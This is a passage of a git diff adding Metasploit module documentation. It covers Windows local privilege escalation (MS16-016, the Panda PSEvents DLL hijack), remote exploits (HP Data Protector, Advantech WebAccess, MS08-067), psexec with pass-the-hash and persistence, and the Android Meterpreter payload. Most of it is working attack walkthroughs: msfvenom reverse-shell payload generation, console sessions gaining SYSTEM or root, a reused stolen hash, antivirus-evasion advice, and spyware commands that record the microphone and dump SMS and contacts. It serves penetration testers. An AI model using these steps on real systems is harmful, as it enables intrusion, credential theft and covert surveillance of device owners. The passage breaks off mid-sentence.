to socket B +[*] Reading from sockets... +[*] Reading from socket B +[*] B: "xInxktvgUmm7hPyh\n" +[*] Matching... +[*] A is input... +[*] Command shell session 1 opened (192.168.1.120:4444 -> 192.168.1.155:37728) at 2016-08-01 13:49:06 -0500 +[*] 192.168.1.155:23 - Shutting down payload stager listener... + +whoami +root +uname -a +Linux polycom.lan 2.6.33.3-rt17.p2.25 #1 PREEMPT RT Wed Aug 3 14:08:40 CDT 2011 ppc unknown +``` diff --git a/documentation/modules/exploit/windows/local/ms16_016_webdav.md b/documentation/modules/exploit/windows/local/ms16_016_webdav.md new file mode 100644 index 0000000000..b6d5bf9584 --- /dev/null +++ b/documentation/modules/exploit/windows/local/ms16_016_webdav.md @@ -0,0 +1,37 @@ +## Intro + +This module exploits a null pointer dereference vulnerability present in the mrxdav.sys kernel driver on Windows 7 x86. The vulnerability is described by MS16-016 and CVE-2016-0051. The module allows the user to spawn a new payload, such as meterpreter, on the target system with elevated privileges (NT AUTHORITY\SYSTEM) + +## Usage + +You'll first need to obtain a session on the target system. Next, once the module is loaded, one simply needs to set the ```payload``` and ```session``` options. From here, running the module will result in the payload being executed with system level privileges. + +An example session follows: + + +``` +meterpreter > background +[*] Backgrounding session 5... +msf exploit(handler) > use exploits/windows/local/ms16_016_webdav +msf exploit(ms16_016_webdav) > set session 5 +session => 5 +msf exploit(ms16_016_webdav) > set payload windows/meterpreter/reverse_tcp +payload => windows/meterpreter/reverse_tcp +msf exploit(ms16_016_webdav) > set lport 4567 +lport => 4567 +msf exploit(ms16_016_webdav) > set lhost 192.168.1.203 +lhost => 192.168.1.203 +msf exploit(ms16_016_webdav) > run + +[*] Started reverse TCP handler on 192.168.1.203:4567 +[*] Launching notepad to host the exploit... +[+] Process 3204 launched. +[*] Reflectively injecting the exploit DLL into 3204... +[*] Exploit injected ... injecting payload into 3204... +[*] Sending stage (957999 bytes) to 192.168.1.221 +[*] Done. Verify privileges manually or use 'getuid' if using meterpreter to verify exploitation. +[*] Meterpreter session 12 opened (192.168.1.203:4567 -> 192.168.1.221:49266) at 2016-07-05 22:07:34 -0500 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +``` diff --git a/documentation/modules/exploit/windows/local/panda_psevents.md b/documentation/modules/exploit/windows/local/panda_psevents.md new file mode 100644 index 0000000000..b5f9615566 --- /dev/null +++ b/documentation/modules/exploit/windows/local/panda_psevents.md @@ -0,0 +1,154 @@ +## Vulnerable Application + + Panda Antivirus Pro 2016 16.1.2 is available from [filehippo](http://filehippo.com/download_panda_antivirus_pro_2017/download/b436969174c5ca07a27a0aedf6456c89/) or from an unofficial [git](https://github.com/h00die/MSF-Testing-Scripts/blob/master/Panda_AV_Pro2016_16.1.2.exe). + + The AV must be running for PSEvents.exe to run and the module to get called, which can take up to an hour. I 32bit meterpreter seems to get caught, so you may need an AV exclusion for the folder to ensure it didn't catch meterpreter in action. + + The downloads folder can take a 10-15 minutes to appear after install, and its downloaded by Panda AV from the company. + + 1. Theres an HTTP GET request to 23.215.132.154 for /retail/psprofiler/40032/psprofiler_suite.exe + 2. Then right after HTTP GET request to 23.215.132.154 for /retail/psevents_suite.exe. + +## Verification Steps + + Example steps in this format: + + 1. Install the application + 2. Wait for `C:\\ProgramData\\Panda Security\\Panda Devices Agent\\Downloads` folder to appear + 3. Start msfconsole + 4. Get a shell + 5. Do: `use exploit/windows/local/panda_psevents` + 6. Do: `set session #` + 7. Do: `exploit` + 8. Go do something else while you wait + 9. Enjoy being system with your shell + +## Options + + **DLL** + + Which DLL to name our payload. The original vulnerability writeup utilized bcryptPrimitives.dll, and mentioned several others that could be used. However the dll seems to be VERY picky. Default is cryptnet.dll. See the chart for more details. + +| | WINHTTP.dll | VERSION.dll | bcryptPrimitives.dll | CRYPTBASE.dll | cryptnet.dll | WININET.dll | +|---------------------------------------------------------------|-------------|-------------|----------------------|---------------|--------------|-------------| +| 64bit target (1), win10 x64 | CRASH | CRASH | NO | NO | valid | no | +| 64bit target (1), win8.1 x86 | CRASH | CRASH | NO | valid | valid | no | +| 32bit target (0), win10 x64 | CRASH | CRASH | NO | NO | valid | no | +| 32bit target (0), win8.1 x86 | CRASH | CRASH | NO | valid | valid (caught by av) | no | +| 32bit target (0), win7sp1 x86 | | | valid | | valid (caught by av) | | + +In this chart, `CRASH` means PSEvents.exe crashed on the system. `NO` means PSEvents didn't crash, but no session was obtained. `valid` means we got a shell. + + **ListenerTimeout** + + How long to wait for a shell. PSEvents.exe runs every hour or so, so the default is 3610 (10sec to account for code execution or other things) + +## Scenarios + +### Windows 8.1 x86 with Panda Antirivus Pro 2016 16.1.2 + + Step 1, get a local shell. I used msfvenom to drop an exe for easy user level meterpreter. + + msfvenom -a x86 --platform windows -p windows/meterpreter_reverse_tcp -f exe -o meterpreter.exe -e x86/shikata_ga_nai -i 1 LHOST=192.168.2.117 LPORT=4449 + + msf > use exploit/multi/handler + msf exploit(handler) > set payload windows/meterpreter_reverse_tcp + payload => windows/meterpreter_reverse_tcp + msf exploit(handler) > set lhost 192.168.2.117 + lhost => 192.168.2.117 + msf exploit(handler) > set lport 4449 + lport => 4449 + msf exploit(handler) > exploit + + [*] Started reverse TCP handler on 192.168.2.117:4449 + [*] Starting the payload handler... + [*] Meterpreter session 1 opened (192.168.2.117:4449 -> 192.168.2.91:63617) at 2016-09-25 20:32:15 -0400 + + meterpreter > getuid + Server username: IE11Win8_1\IEUser + meterpreter > background + [*] Backgrounding session 1... + + Step 2, drop our panda exploit + + use exploit/windows/local/panda_psevents + msf exploit(panda_psevents) > set session 1 + session => 1 + msf exploit(panda_psevents) > set payload windows/meterpreter/reverse_tcp + payload => windows/meterpreter/reverse_tcp + msf exploit(panda_psevents) > set exitfunc seh + exitfunc => seh + msf exploit(panda_psevents) > set DLL CRYPTBASE.dll + DLL => CRYPTBASE.dll + msf exploit(panda_psevents) > show options + + Module options (exploit/windows/local/panda_psevents): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + DLL CRYPTBASE.dll yes dll to create (Accepted: cryptnet.dll, bcryptPrimitives.dll, CRYPTBASE.dll) + ListenerTimeout 3610 yes Number of seconds to wait for the exploit + SESSION 1 yes The session to run this module on. + + + Payload options (windows/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXITFUNC seh yes Exit technique (Accepted: '', seh, thread, process, none) + LHOST 192.168.2.117 yes The listen address + LPORT 4450 yes The listen port + + + Exploit target: + + Id Name + -- ---- + 0 Windows x86 + + + + msf exploit(panda_psevents) > exploit + + [*] Started reverse TCP handler on 192.168.2.117:4450 + [*] Uploading the Payload DLL to the filesystem... + [*] Starting the payload handler, waiting for PSEvents.exe to process folder (up to an hour)... + [*] Start Time: 2016-09-27 18:10:21 -0400 + [*] Sending stage (957999 bytes) to 192.168.2.91 + [*] Meterpreter session 2 opened (192.168.2.117:4450 -> 192.168.2.91:50022) at 2016-09-27 18:46:15 -0400 + [+] Deleted C:\ProgramData\Panda Security\Panda Devices Agent\Downloads\1a2d7253f106c617b45f675e9be08171\CRYPTBASE.dll + + meterpreter > getuid + Server username: NT AUTHORITY\SYSTEM + meterpreter > sysinfo + Computer : IE11WIN8_1 + OS : Windows 8.1 (Build 9600). + Architecture : x86 + System Language : en_US + Domain : WORKGROUP + Logged On Users : 2 + Meterpreter : x86/win32 + meterpreter > background + +## Failed Exploitation Attempts + +If the dll doesn't work, PSEvents.exe will fail to run. While silent to the user, an error will occur in the Application Windows Logs. + + * Event ID: 1000 + * Task Category (100) + * Log Name: Application + * Source: Application Error + * Details: +``` +Faulting application name: PSEvents.exe, version: 4.0.0.35, time stamp: 0x57061ba6 +Faulting module name: ntdll.dll, version: 6.3.9600.17415, time stamp: 0x54504b06 +Exception code: 0xc0000374 +Fault offset: 0x000d0cf2 +Faulting process id: 0xdd0 +Faulting application start time: 0x01d218a30fbf1ac5 +Faulting application path: C:\ProgramData\Panda Security\Panda Devices Agent\Downloads\1a2d7253f106c617b45f675e9be08171\PSEvents.exe +Faulting module path: C:\Windows\SYSTEM32\ntdll.dll +Report Id: 4de7a07e-8496-11e6-9735-000c29e0cffb +Faulting package full name: +Faulting package-relative application ID: +``` \ No newline at end of file diff --git a/documentation/modules/exploit/windows/local/ps_persist.md b/documentation/modules/exploit/windows/local/ps_persist.md new file mode 100644 index 0000000000..7dd081d900 --- /dev/null +++ b/documentation/modules/exploit/windows/local/ps_persist.md @@ -0,0 +1,63 @@ + +## Example Usage + +``` +msf exploit(handler) > use exploit/windows/local/ps_persist +msf exploit(ps_persist) > set session -1 +session => -1 +msf exploit(ps_persist) > set payload windows/meterpreter/reverse_tcp +payload => windows/meterpreter/reverse_tcp +msf exploit(ps_persist) > set lhost 192.168.56.1 +lhost => 192.168.56.1 +msf exploit(ps_persist) > set lport 4445 +lport => 4445 +msf exploit(ps_persist) > show options + +Module options (exploit/windows/local/ps_persist): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + OUTPUT_TARGET no Name and path of the generated executable, default random, omit extension + SESSION -1 yes The session to run this module on. + START_APP true no Run EXE/Install Service + SVC_DNAME MsfDynSvc no Display Name to use for the Windows Service + SVC_GEN false no Build a Windows service, which defaults to running as localsystem + SVC_NAME MsfDynSvc no Name to use for the Windows Service + + +Payload options (windows/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) + LHOST yes The listen address + LPORT 4445 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Universal + + +msf exploit(ps_persist) > run + +[*] Started reverse TCP handler on 192.168.56.1:4445 +[+] - Bytes remaining: 9664 +[+] - Bytes remaining: 1664 +[+] Payload successfully staged. +[*] Sending stage (957999 bytes) to 192.168.56.101 +[+] Finished! +[*] Meterpreter session 2 opened (192.168.56.1:4445 -> 192.168.56.101:49974) at 2016-10-08 18:42:36 -0500 + +meterpreter > sysinfo +Computer : DESKTOP-B8ALP1P +OS : Windows 10 (Build 14393). +Architecture : x64 (Current Process is WOW64) +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x86/win32 +``` + diff --git a/documentation/modules/exploit/windows/misc/hp_dataprotector_encrypted_comms.md b/documentation/modules/exploit/windows/misc/hp_dataprotector_encrypted_comms.md new file mode 100644 index 0000000000..a72b649bff --- /dev/null +++ b/documentation/modules/exploit/windows/misc/hp_dataprotector_encrypted_comms.md @@ -0,0 +1,75 @@ +HP Data Protector is an automated backup and recovery software for single-server to enterprise +environments. It provides cross-platform, online backup of data for Microsoft Windows, Unix, +and Linux operating systems. + +While the server is using Encrypted Control Communication, HP Data Protector allows a remote +attacker to gain access without authentication, and gain arbitrary code execution under the +context of SYSTEM. + + +## Vulnerable Application + +HP Data Protector versions 7, 8, and 9 are known to be affected. + +hp_dataprotector_encrypted_comms was specifically tested against version 9.0.0 on Windows 2008. + +## Verification Steps + +**Installing HP Data Protector** + +Before installing HP Data Protector, a Windows domain controller is needed. This exploit was tested +against [a Windows Server 2008 R2 SP1 domain controller](https://www.youtube.com/watch?v=Buj9oEgbRt8). + +After setting up the domain controller, double-click on the HP Data Protector installer, and you +should see this screen: + +![screen_1](https://cloud.githubusercontent.com/assets/13082457/15794665/99a86238-29e4-11e6-8ccd-0e09b0c8a693.png) + +Click on **Install Data Protector**. And then the installer should ask you which installation type: + +![screen_2](https://cloud.githubusercontent.com/assets/13082457/15794701/de31d07e-29e4-11e6-9410-0b88abe77afe.png) + +Make sure to select **Cell Manager**, and click **Next**. Use all default settings. + +**Enabling Encrypted Communication** + +After the Setup Wizard is finished, we need to enable encrypted communication. First, open the +Data Protector GUI: + +![screen_3](https://cloud.githubusercontent.com/assets/1170914/15845344/d3a84ee4-2c37-11e6-821d-fe8002c94686.png) + +Click on **Clients**, and the local client from the tree. You should see the **Connection** tab on the +right, click on that. + +![screen_4](https://cloud.githubusercontent.com/assets/1170914/15845351/df9929f8-2c37-11e6-9d82-8c519c030a5f.png) + +Under the Connection tab, there should be an **Encrypted control communication** checkbox, make +sure that is checked. And then click **Apply** + +**Using hp_dataprotector_encrypted_comms** + +After the encrypted communication is enabled, you are ready to use +hp_dataprotector_encrypted_comms. Here is what you do: + +1. Start msfconsole +2. Do: ```use exploit/windows/misc/hp_dataprotector_encrypted_comms``` +3. Do: ```set RHOST [IP ADDRESS]``` +4. Do: ```set PAYLOAD [PAYLOAD NAME]``` +5. Set other options as needed +6. Do: ```exploit```, and you should receive a session like the following: + +``` +msf exploit(hp_dataprotector_encrypted_comms) > run + +[*] Started reverse TCP handler on 172.16.23.1:4444 +[*] 172.16.23.173:5555 - Initiating connection +[*] 172.16.23.173:5555 - Establishing encrypted channel +[*] 172.16.23.173:5555 - Sending payload +[*] 172.16.23.173:5555 - Waiting for payload execution (this can take up to 30 seconds or so) +[*] Sending stage (957999 bytes) to 172.16.23.173 +[*] Meterpreter session 1 opened (172.16.23.1:4444 -> 172.16.23.173:49304) at 2016-06-06 22:16:54 -0500 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +``` + diff --git a/documentation/modules/exploit/windows/scada/advantech_webaccess_dashboard_file_upload.md b/documentation/modules/exploit/windows/scada/advantech_webaccess_dashboard_file_upload.md new file mode 100644 index 0000000000..21b2fbf460 --- /dev/null +++ b/documentation/modules/exploit/windows/scada/advantech_webaccess_dashboard_file_upload.md @@ -0,0 +1,36 @@ +Advantech WebAccess is a web-based software package for human-machine interfaces and supervisory +control and data acquisition (SCADA). WebAccess 8.0 suffers from a vulnerability that allows an +attacker to upload a malicious file onto the web server, and gain arbitrary code execution under +the context of IIS APPPOOL\WADashboard_pool. + +## Vulnerable Application + +All builds of Advantech WebAccess 8.0 are affected: + +* [WebAccess 8.0 _20150816](http://advcloudfiles.advantech.com/web/Download/webaccess/8.0/AdvantechWebAccessUSANode8.0_20150816.exe) +* [WebAccess 8.0 _20141103](http://advcloudfiles.advantech.com/web/Download/webaccess/8.0/AdvantechWebAccessUSANode8.0_20141103_3.4.3.exe) + +For exploitation, there is a difference between the two versions. The 2014 version of WebAccess 8.0 +had two upload actions in the UploadAjaxAction class: uploadBannerImage, and uploadImageCommon. The +2015 version of WebAccess 8.0 added another upload action: uploadFile. This exploit uses the +uploadImageCommon action because it works for both. + +Advantech WebAccess 8.1 mitigated the vulnerability by enforcing authentication for +UploadAjaxAction. However, keep in mind that WebAccess 8.1 comes with a default credential of +user name "admin" with a blank password, which means the user is likely still at risk by using the +default configuration. + +advantech_webaccess_dashboard_file_upload will not attempt to exploit WebAccess 8.1. + +## Verification Steps + +1. Start a Windows machine (such as Windows 7 SP1). +2. To install Advantech WebAccess, make sure to install the Internet Information Services Windows + feature. +3. Download WebAccess 8.0, and install it. After installation, make sure the web application is + operational by accessing with a browser (on port 80). +4. Start msfconsole +5. Do: ```use exploit/windows/scada/advantech_webaccess_dashboard_file_upload``` +6. Do: ```set RHOST [TARGET_IP]``` +7. Set other options if needed +8. Do: ```exploit```, and you should get a session. diff --git a/documentation/modules/exploit/windows/smb/ms08_067_netapi.md b/documentation/modules/exploit/windows/smb/ms08_067_netapi.md new file mode 100644 index 0000000000..6af5b746ad --- /dev/null +++ b/documentation/modules/exploit/windows/smb/ms08_067_netapi.md @@ -0,0 +1,59 @@ +ms08_067_netapi is one of the most popular remote exploits against Microsoft Windows. It is +considered a reliable exploit, and allows you to gain access as SYSTEM - the highest Windows +privilege. In modern day penetration test, this exploit would most likely be used in an internal +environment, and not so much from external due to the likelihood of a firewall. + +The check command of ms08_067_netapi is also highly accurate, because it is actually testing the +vulnerable code path, not just passively. + + +## Vulnerable Application + +This exploit works against a vulnerable SMB service from one of these Windows systems: + +* Windows 2000 +* Windows XP +* Windows 2003 + +To reliability determine whether the machine is vulnerable, you will have to either examine +the system's patch level, or use a vulnerability check. + +## Verification Steps + +Please see Basic Usage under Overview. + +## Options + +Please see Required Options under Overview. + +## Scenarios + +**Failure to detect the language pack** + +On some Windows systems, ms08_067_netapi (as well as other SMB modules) might show you this +message: + + +> Windows 2003 R2 Service Pack 2 - lang:Unknown + + +This is because the targeted system does not allow itself to be enumerated without authentication. +In this case, either you can set the username and password to be able to use automatic detection, +like this: + +``` +set SMBUSER [username] +set SMBPASS [password] +``` + +Or you must manually set the target with the correct language, for example: + +``` +set target [target ID] +``` + +**Unsafe configuration of LHOST** + +Although ms08_067_netapi is reliable enough for a memory corruption exploit, it has its own +denial-of-service moments. One scenario is when the LHOST option is incorrectly configured, +which could result the SMB to crash. diff --git a/documentation/modules/exploit/windows/smb/psexec.md b/documentation/modules/exploit/windows/smb/psexec.md new file mode 100644 index 0000000000..de541f95b7 --- /dev/null +++ b/documentation/modules/exploit/windows/smb/psexec.md @@ -0,0 +1,120 @@ +psexec is one of the most popular exploits against Microsoft Windows. It is a great way to test password security and demonstrate how a stolen password could lead to a complete compromise of an entire corporate network. + +The Metasploit Framework actually includes different module types of psexec for different scenarios. exploit/windows/smb/psexec is the father of them all and is used the same way +you normally would with any Metasploit exploits. + + +## Vulnerable Application + +To be able to use exploit/windows/smb/psexec: + +1. You must have a valid username/password. +2. The firewall must allow SMB traffic. +3. The target must use SMBv1. +4. The remote Windows machine's network security policy must allow it. If you see [one of these errors](https://github.com/rapid7/metasploit-framework/wiki/What-does-my-Rex%3A%3AProto%3A%3ASMB-Error-mean%3F), then the Windows machine does not allow it. + +## Verification Steps + +At the minimum, you should be able use psexec to get a session with a valid credential using the following: + +``` +msf > use exploit/windows/smb/psexec +msf exploit(psexec) > set RHOST 192.168.1.80 +RHOST => 192.168.1.80 +msf exploit(psexec) > set SMBUser Administrator +SMBUser => Administrator +msf exploit(psexec) > set SMBPass goodpass +SMBPass => goodpass +msf exploit(psexec) > exploit + +[*] Started reverse TCP handler on 192.168.1.199:4444 +[*] 192.168.1.80:445 - Connecting to the server... +[*] 192.168.1.80:445 - Authenticating to 192.168.1.80:445 as user 'Administrator'... +[*] 192.168.1.80:445 - Selecting native target +[*] 192.168.1.80:445 - Uploading payload... +[*] 192.168.1.80:445 - Created \PTIhqIrQ.exe... +[+] 192.168.1.80:445 - Service started successfully... +[*] 192.168.1.80:445 - Deleting \PTIhqIrQ.exe... +[*] Sending stage (957999 bytes) to 192.168.1.80 +[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1042) at 2016-03-01 16:51:56 -0600 + +meterpreter > +``` + +## Options + +By default, using exploit/windows/smb/psexec can be as simple as setting the RHOST option, and you're ready to go. But in reality, you will probably need to at least configure: + +**The SMBUser Option** + +This is a valid Windows username. + +**The SMBPass option** + +This can be either the plain text version or the Windows hash. + +## Scenarios + + +**Pass the Hash** + +One common penetration testing scenario using psexec is that attackers usually begin by breaking into a box, dumping the hashes, and using some of those hashes to log into other boxes on the network using psexec. So in that scenario, with the following stolen hash: + +``` +meterpreter > hashdump +Administrator:500:e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f::: +``` + +You can simply copy and paste it to the SMBPass option in psexec and get a session without needing to crack the hash: + +``` +msf > use exploit/windows/smb/psexec +msf exploit(psexec) > set SMBUser Administrator +SMBUser => Administrator +msf exploit(psexec) > set SMBPass e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f +SMBPass => e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f +msf exploit(psexec) > set RHOST 192.168.1.80 +RHOST => 192.168.1.80 +msf exploit(psexec) > exploit + +[*] Started reverse TCP handler on 192.168.1.199:4444 +[*] 192.168.1.80:445 - Connecting to the server... +[*] 192.168.1.80:445 - Authenticating to 192.168.1.80:445 as user 'Administrator'... +[*] 192.168.1.80:445 - Selecting native target +[*] 192.168.1.80:445 - Uploading payload... +[*] 192.168.1.80:445 - Created \QpxKDHyG.exe... +[+] 192.168.1.80:445 - Service started successfully... +[*] 192.168.1.80:445 - Deleting \QpxKDHyG.exe... +[*] Sending stage (957999 bytes) to 192.168.1.80 +[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1043) at 2016-03-01 17:02:46 -0600 + +meterpreter > +``` + +**Automatic Target** + +There are multiple targets available for exploit/windows/smb/psexec. The Automatic target is the default target. If the Automatic target detects Powershell on the remote machine, it will try Powershell, otherwise it uses the natvie upload. Each target is explained below. + +**Powershell Target** + +The Powershell target forces the psexec module to run a Powershell command with a payload embedded in it. Since this approach does not leave anything on disk, it is a very powerful way to evade antivirus. However, older Windows machines might not support Powershell by default. + +Because of this, you will probably want to use the Automatic target setting. The automatic mode will check if the target supports Powershell before it tries it; the manually set Powershell target won't do that. + +**Native Upload Target** + +The Native target will attempt to upload the payload (executable) to SYSTEM32 (which can be modified with the +SHARE datastore option), and then execute it with psexec. + +This approach is generally reliable, but has a high chance of getting caught by antivirus on the target. To counter this, you can try to use a template by setting the EXE::Path and EXE::Template datastore options. Or, you can supply your own custom EXE by setting the EXE::Custom option. + +**MOF Upload Target** + +The [MOF](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-WbemExec-for-a-write-privilege-attack-on-Windows) target technically does not use psexec; it does not explicitly tell Windows to execute anything. All it does is upload two files: the payload (exe) in SYSTEM32 and a managed object +format file in SYSTEM32\wbem\mof\ directory. When Windows sees the MOF file in that directory, it automatically runs it. Once executed, the code inside the MOF file basically tells Windows to execute our payload in SYSTEM32, and you get a session. + +Although it's a neat trick, Metasploit's MOF library only works against Windows XP and Windows Server 2003. And since it writes files to disk, there is also a high chance of getting +caught by antivirus on the target. + +The best way to counter antivirus is still the same. You can either use a different template by setting the EXE::Path and EXE::Template datastore options or you can supply your own custom EXE by setting the EXE::Custom option. + diff --git a/documentation/modules/module_doc_template.md b/documentation/modules/module_doc_template.md new file mode 100644 index 0000000000..aa1e134161 --- /dev/null +++ b/documentation/modules/module_doc_template.md @@ -0,0 +1,41 @@ +The following is the recommended format for module documentation. +But feel free to add more content/sections to this. + + +## Vulnerable Application + + Instructions to get the vulnerable application. + +## Verification Steps + + Example steps in this format: + + 1. Install the application + 2. Start msfconsole + 3. Do: ```use [module path]``` + 4. Do: ```run``` + 5. You should get a shell. + +## Options + + **Option name** + + Talk about what it does, and how to use it appropriately. + +## Scenarios + + Specific demo of using the module that might be useful in a real world scenario. + + ``` + code or console output + ``` + + For example: + + To do this specific thing, here's how you do it: + + ``` + msf > use module_name + msf auxiliary(module_name) > set POWERLEVEL >9000 + msf auxiliary(module_name) > exploit + ``` \ No newline at end of file diff --git a/documentation/modules/payload/android/meterpreter/reverse_tcp.md b/documentation/modules/payload/android/meterpreter/reverse_tcp.md new file mode 100644 index 0000000000..cde18f507f --- /dev/null +++ b/documentation/modules/payload/android/meterpreter/reverse_tcp.md @@ -0,0 +1,457 @@ +The android/meterpreter/reverse_tcp payload is a Java-based Meterpreter that can be used on an +Android device. It is still at an early stage of development, but there are so many things you can +do with it already. + +The Android Meterpreter allows you to do things like take remote control the file system, listen to phone calls, retrieve or send SMS messages, geo-locate the user, run post-exploitation modules, etc. + +## Vulnerable Application + +You can test android/meterpreter/reverse_tcp on these devices: + +**Android Emulator** + +An emulator is the most convenient way to test Android Meterpreter. You can try: + +* [Android SDK](http://developer.android.com/sdk/index.html#Other) - Creates and manages your emulators from a command prompt or terminal. +* [Android Studio](http://developer.android.com/sdk/installing/index.html?pkg=studio) - Allows you to manage emulators more easily than the SDK. +* [GenyMotion](https://www.genymotion.com/download/) - Requires an account. +* [AndroidAVDRepo](https://github.com/dral3x/AndroidAVDRepo) - Contains a collection of pre-configured emulators. + + +**A real Android device** + +Having a real Android device allows you to test features or vulnerabilities you don't necessarily +have from an emulator, which might be specific to a manufacturer, carrier, or hardware. You also +get to test it over a real network. + + +## Verification Steps + +Currently, the most common way to use Android Meterpreter is to create it as an APK, and then +execute it. + +To create the APK with msfconsole: + +``` +msf > use payload/android/meterpreter/reverse_tcp +msf payload(reverse_tcp) > set LHOST 192.168.1.199 +LHOST => 192.168.1.199 +msf payload(reverse_tcp) > generate -t raw -f /tmp/android.apk +[*] Writing 8992 bytes to /tmp/android.apk... +msf payload(reverse_tcp) > +``` + +To create the APK with msfvenom: + +``` +./msfvenom -p android/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f raw -o /tmp/android.apk +``` + +Next, start an Android device. Upload the APK, and execute it. There are different ways to do this, +so please refer to the Scenarios section for more information. + +## Important Basic Commands + +**pwd** + +The ```pwd``` command allows you to see the current directory you're in. + +``` +meterpreter > pwd +/data/data/com.metasploit.stage +``` + +**cd** + +The ```cd``` command allows you to change directory. For example: + +``` +meterpreter > cd cache +meterpreter > ls +``` + +**cat** + +The ```cat``` command allows you to see the contents of a file. + +**ls** + +The ```ls``` command displays items in a directory. For example: + +``` +meterpreter > ls +Listing: /data/data/com.metasploit.stage/files +============================================== + +Mode Size Type Last modified Name +---- ---- ---- ------------- ---- +100444/r--r--r-- 0 fil 2016-03-08 14:56:08 -0600 rList-com.metasploit.stage.MainActivity +``` + +**upload** + +The ```upload``` command allows you to upload a file to the remote target. The ```-r``` option +allows you to do so recursively. + +**download** + +The ```download``` command allows you to download a file from the remote target. The ```-r``` +option allows you to do so recursively. + +**search** + +The ```search``` command allows you to find files on the remote target. For example: + +``` +meterpreter > search -d . -f *.txt +``` + +**ifconfig** + +The ```ifconfig``` command displays the network interfaces on the remote machine. + +``` +meterpreter > ifconfig + +... + +Interface 10 +============ +Name : wlan0 - wlan0 +Hardware MAC : 60:f1:89:07:c2:7e +IPv4 Address : 192.168.1.207 +IPv4 Netmask : 255.255.255.0 +IPv6 Address : 2602:30a:2c51:e660:62f1:89ff:fe07:c27e +IPv6 Netmask : :: +IPv6 Address : fe80::62f1:89ff:fe07:c27e +IPv6 Netmask : :: +IPv6 Address : 2602:30a:2c51:e660:81ae:6bbd:e0e1:5954 +IPv6 Netmask : :: + +... +``` + +**getuid** + +The ```getuid``` command shows the current user that the payload is running as: + +``` +meterpreter > getuid +Server username: u0_a231 +``` + +**ps** + +The ```ps``` command shows a list of processes the Android device is running. For example: + +``` +meterpreter > ps + +Process List +============ + + PID Name Arch User + --- ---- ---- ---- + 1 /init root + 2 kthreadd root + 3 ksoftirqd/0 root + 7 migration/0 root + 8 rcu_preempt root + 9 rcu_bh root + 10 rcu_sched root + 11 watchdog/0 root + 12 watchdog/1 root + 13 migration/1 root + 14 ksoftirqd/1 root + 17 watchdog/2 root + 18 migration/2 root + 19 ksoftirqd/2 root + 22 watchdog/3 root + 23 migration/3 root + +... +``` + +**shell** + +The ```shell``` command allows you to interact with a shell: + +``` +meterpreter > shell +Process 1 created. +Channel 1 created. +id +uid=10231(u0_a231) gid=10231(u0_a231) groups=1015(sdcard_rw),1028(sdcard_r),3003(inet),9997(everybody),50231(all_a231) context=u:r:untrusted_app:s0 +``` + +To get back to the Meterpreter prompt, you can do: [CTRL]+[Z] + +**sysinfo** + +The ```sysinfo``` command shows you basic information about the Android device. + +``` +meterpreter > sysinfo +Computer : localhost +OS : Android 5.1.1 - Linux 3.10.61-6309174 (aarch64) +Meterpreter : java/android +``` + +**webcam_list** + +The ```webcam_list``` command shows a list of webcams you could use for the ```webcam_snap``` +command. Example: + +``` +meterpreter > webcam_list +1: Back Camera +2: Front Camera +``` + +**webcam_snap** + +The ```webcam_snap``` command takes a picture from the device. You will have to use the +```webcam_list``` command to figure out which camera to use. Example: + +``` +meterpreter > webcam_snap -i 2 +[*] Starting... +[+] Got frame +[*] Stopped +Webcam shot saved to: /Users/user/rapid7/msf/uFWJXeQt.jpeg +``` + +**record_mic** + +The ```record_mic``` command records audio. Good for listening to a phone conversation, as well as +other uses. Example: + +``` +meterpreter > record_mic -d 20 +[*] Starting... +[*] Stopped +Audio saved to: /Users/user/rapid7/msf/YAUtubCR.wav +``` + +**activity_start** + +The ```activity_start``` command is an execute command by starting an Android activity from a URI +string. + +**check_root** + +The ```check_root``` command detects whether your payload is running as root or not. Example: + +``` +meterpreter > check_root +[*] Device is not rooted +``` + +**dump_calllog** + +The ```dump_calllog``` command retrieves the call log from the Android device. + +**dump_contacts** + +``` +meterpreter > dump_contacts +[*] Fetching 5 contacts into list +[*] Contacts list saved to: contacts_dump_20160308155744.txt +``` + +**geolocate** + +The ```geolocate``` commands allows you to locate the phone by retrieving the current lat-long +using geolocation. + +**wlan_geolocate** + +The ```wlan_geolocation``` command allows you to locate the phone by retrieving the current +lat-long using WLAN information. Example: + +``` +meterpreter > wlan_geolocate +[*] Google indicates the device is within 150 meters of 30.*******,-97.*******. +[*] Google Maps URL: https://maps.google.com/?q=30.*******,-97.******* +``` + +**send_sms** + +The ```send_sms``` command allows you to send an SMS message. Keep in mind the phone will keep a +copy of it, too. + +``` +meterpreter > send_sms -d "2674554859" -t "hello" +[+] SMS sent - Transmission successful +``` + +**sms_dump** + +The ```sms_dump``` command allows you to retrieve SMS messages. And save them as a text file. +For example: + +``` +meterpreter > dump_sms +[*] Fetching 4 sms messages +[*] SMS messages saved to: sms_dump_20160308163212.txt + +... + +$ cat sms_dump_20160308163212.txt + +===================== +[+] SMS messages dump +===================== + +Date: 2016-03-08 15:30:12 -0600 +OS: Android 5.1.1 - Linux 3.10.61-6309174 (aarch64) +Remote IP: 192.168.1.207 +Remote Port: 59130 + +#1 +Type : Incoming +Date : 2016-03-08 15:29:32 +Address : ********** +Status : NOT_RECEIVED +Message : Hello world + +... + +``` + +**run** + +The ```run``` command allows you to run a post module against the remote machine at the Meterpreter +prompt. For example: + +``` +meterpreter > run post/android/capture/screen +``` + +## Scenarios + +**Uploading APK to an Emulator using install_msf_apk.sh** + +The Metasploit Framework comes with a script that allows you to automatically upload your APK to +an active emulator and execute it. It requires the [Android SDK 